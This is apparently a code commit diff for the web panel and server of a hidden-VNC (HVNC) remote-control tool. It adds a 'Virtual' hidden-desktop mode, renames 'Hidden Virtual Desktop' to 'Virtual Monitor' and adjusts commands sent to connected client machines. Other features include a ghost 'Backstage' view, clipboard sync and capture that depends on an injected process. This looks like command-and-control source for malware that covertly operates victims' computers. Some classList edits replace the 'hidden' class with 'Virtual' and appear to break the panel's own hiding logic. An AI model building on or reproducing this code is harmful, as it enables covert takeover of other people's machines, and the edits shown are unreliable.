|
||||||
|
|||||||
@@ -9,6 +9,7 @@ const MENU_GROUPS = [
|
|||||||
{ label: "Console", icon: "fa-solid fa-terminal", icolor: "text-emerald-400", open: "console" },
|
{ label: "Console", icon: "fa-solid fa-terminal", icolor: "text-emerald-400", open: "console" },
|
||||||
{ label: "Remote Desktop", icon: "fa-solid fa-desktop", icolor: "text-purple-400", open: "remotedesktop" },
|
{ label: "Remote Desktop", icon: "fa-solid fa-desktop", icolor: "text-purple-400", open: "remotedesktop" },
|
||||||
{ label: "Backstage", icon: "fa-solid fa-ghost", icolor: "text-violet-400", open: "Backstage" },
|
{ label: "Backstage", icon: "fa-solid fa-ghost", icolor: "text-violet-400", open: "Backstage" },
|
||||||
|
{ label: "Virtual", icon: "fa-solid fa-eye-slash", icolor: "text-fuchsia-400", open: "Virtual", windowsOnly: true },
|
||||||
{ label: "Voice", icon: "fa-solid fa-headset", icolor: "text-teal-400", open: "voice" },
|
{ label: "Voice", icon: "fa-solid fa-headset", icolor: "text-teal-400", open: "voice" },
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
@@ -228,7 +229,7 @@ menuStyle.textContent = `
|
|||||||
transition: opacity 0.1s;
|
transition: opacity 0.1s;
|
||||||
flex-shrink: 0;
|
flex-shrink: 0;
|
||||||
}
|
}
|
||||||
/* Allow classList.add/remove("hidden") to work on items inside the menu */
|
/* Allow classList.add/remove("Virtual") to work on items inside the menu */
|
||||||
#command-menu .hidden { display: none !important; }
|
#command-menu .hidden { display: none !important; }
|
||||||
/* Mobile: stack submenu below the main column, scroll the whole menu */
|
/* Mobile: stack submenu below the main column, scroll the whole menu */
|
||||||
@media (max-width: 600px) {
|
@media (max-width: 600px) {
|
||||||
@@ -463,14 +464,14 @@ export function openModal(src) {
|
|||||||
|
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
modalImg.src = src;
|
modalImg.src = src;
|
||||||
modal.classList.remove("hidden");
|
modal.classList.remove("Virtual");
|
||||||
modal.classList.add("flex");
|
modal.classList.add("flex");
|
||||||
}, 10);
|
}, 10);
|
||||||
}
|
}
|
||||||
|
|
||||||
export function closeModal() {
|
export function closeModal() {
|
||||||
modal.classList.remove("flex");
|
modal.classList.remove("flex");
|
||||||
modal.classList.add("hidden");
|
modal.classList.add("Virtual");
|
||||||
}
|
}
|
||||||
|
|
||||||
export function wireModalClose() {
|
export function wireModalClose() {
|
||||||
|
|||||||
@@ -33,12 +33,6 @@
|
|||||||
<button id="commandsBtn" class="button ghost">
|
<button id="commandsBtn" class="button ghost">
|
||||||
<i class="fa-solid fa-terminal"></i><span>Commands</span>
|
<i class="fa-solid fa-terminal"></i><span>Commands</span>
|
||||||
</button>
|
</button>
|
||||||
<button id="killAllBtn" class="button ghost" title="Kill all programs running on the hidden desktop">
|
|
||||||
<i class="fa-solid fa-skull"></i><span>Kill All</span>
|
|
||||||
</button>
|
|
||||||
<button id="windowMapBtn" class="button ghost" title="Show window positions and monitor layout">
|
|
||||||
<i class="fa-solid fa-map"></i><span>Window Map</span>
|
|
||||||
</button>
|
|
||||||
<button id="fullscreenBtn" class="button ghost">
|
<button id="fullscreenBtn" class="button ghost">
|
||||||
<i class="fa-solid fa-expand"></i><span>Fullscreen</span>
|
<i class="fa-solid fa-expand"></i><span>Fullscreen</span>
|
||||||
</button>
|
</button>
|
||||||
@@ -156,6 +150,18 @@
|
|||||||
<option value="relayed">WebRTC Relayed</option>
|
<option value="relayed">WebRTC Relayed</option>
|
||||||
</select>
|
</select>
|
||||||
</div>
|
</div>
|
||||||
|
<div class="flex items-center gap-2 mb-2">
|
||||||
|
<label class="text-sm text-slate-300 w-20" for="targetFpsSelect">Max FPS</label>
|
||||||
|
<select id="targetFpsSelect" class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100" title="Target capture and encoder frame rate">
|
||||||
|
<option value="30">30 fps</option>
|
||||||
|
<option value="60">60 fps</option>
|
||||||
|
<option value="90">90 fps</option>
|
||||||
|
<option value="120" selected>120 fps</option>
|
||||||
|
<option value="144">144 fps</option>
|
||||||
|
<option value="165">165 fps</option>
|
||||||
|
<option value="240">240 fps</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
<div class="flex items-center justify-between gap-2">
|
<div class="flex items-center justify-between gap-2">
|
||||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Prefer H.264 when available; disable to force JPEG">
|
<label class="flex items-center gap-2 text-sm text-slate-200" title="Prefer H.264 when available; disable to force JPEG">
|
||||||
<input type="checkbox" id="codecH264" checked /> H.264
|
<input type="checkbox" id="codecH264" checked /> H.264
|
||||||
@@ -176,11 +182,6 @@
|
|||||||
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Sync clipboard between your browser and the remote machine">
|
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Sync clipboard between your browser and the remote machine">
|
||||||
<input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync
|
<input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync
|
||||||
</label>
|
</label>
|
||||||
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Use DXGI Present hook for faster capture (requires injected process). WARNING: If Chrome or HVNC is running slowly, DXGI capture may be the cause — uncheck this and restart Chrome inside HVNC to fix it.">
|
|
||||||
<input type="checkbox" id="dxgiCtrl" />
|
|
||||||
<span>DXGI Capture</span>
|
|
||||||
<i class="fa-solid fa-triangle-exclamation text-amber-400 text-xs" title="If Chrome or HVNC is running slowly, DXGI capture may be the cause — uncheck this and restart Chrome inside HVNC to fix it."></i>
|
|
||||||
</label>
|
|
||||||
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Use UI Automation for WinUI3 app input (modern Windows apps). Disable if input is unreliable in non-WinUI3 apps.">
|
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Use UI Automation for WinUI3 app input (modern Windows apps). Disable if input is unreliable in non-WinUI3 apps.">
|
||||||
<input type="checkbox" id="uiaCtrl" /> UIA Support
|
<input type="checkbox" id="uiaCtrl" /> UIA Support
|
||||||
</label>
|
</label>
|
||||||
@@ -198,7 +199,7 @@
|
|||||||
>
|
>
|
||||||
<div class="p-3 text-sm text-slate-400 flex-shrink-0 flex items-center gap-2">
|
<div class="p-3 text-sm text-slate-400 flex-shrink-0 flex items-center gap-2">
|
||||||
<i class="fa-solid fa-ghost text-violet-400"></i>
|
<i class="fa-solid fa-ghost text-violet-400"></i>
|
||||||
<span>Hidden Virtual Desktop - Client: <span id="clientLabel" class="text-slate-100">-</span></span>
|
<span>Virtual Monitor - Client: <span id="clientLabel" class="text-slate-100">-</span></span>
|
||||||
</div>
|
</div>
|
||||||
<div
|
<div
|
||||||
class="flex-1 flex items-center justify-center p-4"
|
class="flex-1 flex items-center justify-center p-4"
|
||||||
@@ -429,30 +430,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</main>
|
</main>
|
||||||
|
|
||||||
<!-- Window Map Modal -->
|
|
||||||
<div id="windowMapModal" class="fixed inset-0 z-[100] items-center justify-center bg-black/60 backdrop-blur-sm" style="display:none;">
|
|
||||||
<div class="bg-slate-900 border border-slate-700 rounded-xl shadow-2xl w-[90vw] max-w-[900px] max-h-[85vh] flex flex-col">
|
|
||||||
<div class="flex items-center justify-between px-5 py-3 border-b border-slate-800">
|
|
||||||
<div class="flex items-center gap-2">
|
|
||||||
<i class="fa-solid fa-map text-violet-400"></i>
|
|
||||||
<span class="text-base font-semibold text-slate-100">Window Map</span>
|
|
||||||
</div>
|
|
||||||
<div class="flex items-center gap-2">
|
|
||||||
<button id="windowMapRefreshBtn" class="button ghost text-xs" title="Refresh window list">
|
|
||||||
<i class="fa-solid fa-arrows-rotate"></i> Refresh
|
|
||||||
</button>
|
|
||||||
<button id="windowMapCloseBtn" class="button ghost text-xs">
|
|
||||||
<i class="fa-solid fa-xmark"></i>
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div class="flex-1 overflow-auto p-5 flex flex-col gap-4">
|
|
||||||
<div id="windowMapCanvas" class="relative w-full bg-slate-950 rounded-lg border border-slate-800 overflow-hidden" style="min-height: 200px;"></div>
|
|
||||||
<div id="windowMapList" class="flex flex-col gap-1 text-sm"></div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<script defer src="/vendor/msgpackr/msgpackr.js"></script>
|
<script defer src="/vendor/msgpackr/msgpackr.js"></script>
|
||||||
<script defer src="/assets/remotedesktop-settings-menu.js"></script>
|
<script defer src="/assets/remotedesktop-settings-menu.js"></script>
|
||||||
<script type="module" src="/assets/nav.js"></script>
|
<script type="module" src="/assets/nav.js"></script>
|
||||||
|
|||||||
@@ -774,6 +774,7 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header
|
|||||||
|
|
||||||
type HVNCStreamingState = {
|
type HVNCStreamingState = {
|
||||||
isStreaming: boolean;
|
isStreaming: boolean;
|
||||||
|
virtualMode: boolean;
|
||||||
display: number;
|
display: number;
|
||||||
quality: number;
|
quality: number;
|
||||||
codec: string;
|
codec: string;
|
||||||
@@ -782,7 +783,7 @@ type HVNCStreamingState = {
|
|||||||
};
|
};
|
||||||
|
|
||||||
function defaultHVNCStreamingState(): HVNCStreamingState {
|
function defaultHVNCStreamingState(): HVNCStreamingState {
|
||||||
return { isStreaming: false, display: 0, quality: 90, codec: "", maxFps: 120, lastFps: 0 };
|
return { isStreaming: false, virtualMode: false, display: 0, quality: 90, codec: "", maxFps: 120, lastFps: 0 };
|
||||||
}
|
}
|
||||||
|
|
||||||
export const hvncStreamingState = new Map<string, HVNCStreamingState>();
|
export const hvncStreamingState = new Map<string, HVNCStreamingState>();
|
||||||
@@ -1135,6 +1136,13 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`);
|
logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`);
|
||||||
switch (payload.type) {
|
switch (payload.type) {
|
||||||
case "hvnc_start":
|
case "hvnc_start":
|
||||||
|
{
|
||||||
|
const virtualMode = (payload as any).virtual_mode === true || (payload as any).hidden_mode === true;
|
||||||
|
if (state.isStreaming && state.virtualMode !== virtualMode) {
|
||||||
|
sendHVNCCommand(target, "hvnc_stop", {});
|
||||||
|
state.isStreaming = false;
|
||||||
|
logger.debug(`[hvnc] restarting stream to change virtual_mode=${state.virtualMode} -> ${virtualMode}`);
|
||||||
|
}
|
||||||
if (!state.isStreaming) {
|
if (!state.isStreaming) {
|
||||||
if ((payload as any).webrtc === true) {
|
if ((payload as any).webrtc === true) {
|
||||||
const streamPath = webrtcStreamPathFor(clientId, "hvnc");
|
const streamPath = webrtcStreamPathFor(clientId, "hvnc");
|
||||||
@@ -1156,13 +1164,16 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
sendHVNCCommand(target, "hvnc_set_fps", { fps: clampDesktopFps(state.maxFps) });
|
sendHVNCCommand(target, "hvnc_set_fps", { fps: clampDesktopFps(state.maxFps) });
|
||||||
sendHVNCCommand(target, "hvnc_start", {
|
sendHVNCCommand(target, "hvnc_start", {
|
||||||
autoStartExplorer: false,
|
autoStartExplorer: false,
|
||||||
|
...(virtualMode ? { virtual_mode: true } : {}),
|
||||||
});
|
});
|
||||||
state.isStreaming = true;
|
state.isStreaming = true;
|
||||||
|
state.virtualMode = virtualMode;
|
||||||
hvncStreamingState.set(clientId, state);
|
hvncStreamingState.set(clientId, state);
|
||||||
logger.debug(`[hvnc] started streaming for client ${clientId}`);
|
logger.debug(`[hvnc] started streaming for client ${clientId} (virtual_mode=${virtualMode})`);
|
||||||
} else {
|
} else {
|
||||||
logger.debug(`[hvnc] ignoring duplicate hvnc_start for client ${clientId}`);
|
logger.debug(`[hvnc] ignoring duplicate hvnc_start for client ${clientId}`);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
break;
|
break;
|
||||||
case "hvnc_stop": {
|
case "hvnc_stop": {
|
||||||
const otherHvncViewers = sessionManager.getHvncSessionsForClient(clientId)
|
const otherHvncViewers = sessionManager.getHvncSessionsForClient(clientId)
|
||||||
@@ -1195,8 +1206,8 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
case "hvnc_set_quality": {
|
case "hvnc_set_quality": {
|
||||||
const newQuality = Number(payload.quality) || 90;
|
const newQuality = Number(payload.quality) || 90;
|
||||||
const newCodec = String(payload.codec || "").toLowerCase();
|
const newCodec = String(payload.codec || "").toLowerCase();
|
||||||
if (state.quality !== newQuality || state.codec !== newCodec) {
|
sendHVNCCommand(target, "hvnc_set_quality", { quality: newQuality, codec: newCodec });
|
||||||
sendHVNCCommand(target, "hvnc_set_quality", { quality: newQuality, codec: newCodec });
|
if (state.quality !== newQuality || state.codec !== newCodec) {
|
||||||
state.quality = newQuality;
|
state.quality = newQuality;
|
||||||
state.codec = newCodec;
|
state.codec = newCodec;
|
||||||
hvncStreamingState.set(clientId, state);
|
hvncStreamingState.set(clientId, state);
|
||||||
@@ -1213,8 +1224,8 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
break;
|
break;
|
||||||
case "hvnc_set_fps": {
|
case "hvnc_set_fps": {
|
||||||
const newMaxFps = clampDesktopFps((payload as any).fps);
|
const newMaxFps = clampDesktopFps((payload as any).fps);
|
||||||
|
sendHVNCCommand(target, "hvnc_set_fps", { fps: newMaxFps });
|
||||||
if (state.maxFps !== newMaxFps) {
|
if (state.maxFps !== newMaxFps) {
|
||||||
sendHVNCCommand(target, "hvnc_set_fps", { fps: newMaxFps });
|
|
||||||
state.maxFps = newMaxFps;
|
state.maxFps = newMaxFps;
|
||||||
hvncStreamingState.set(clientId, state);
|
hvncStreamingState.set(clientId, state);
|
||||||
logger.debug(`[hvnc] set target fps=${newMaxFps}`);
|
logger.debug(`[hvnc] set target fps=${newMaxFps}`);
|
||||||
|
|||||||
Reference in New Issue
Block a user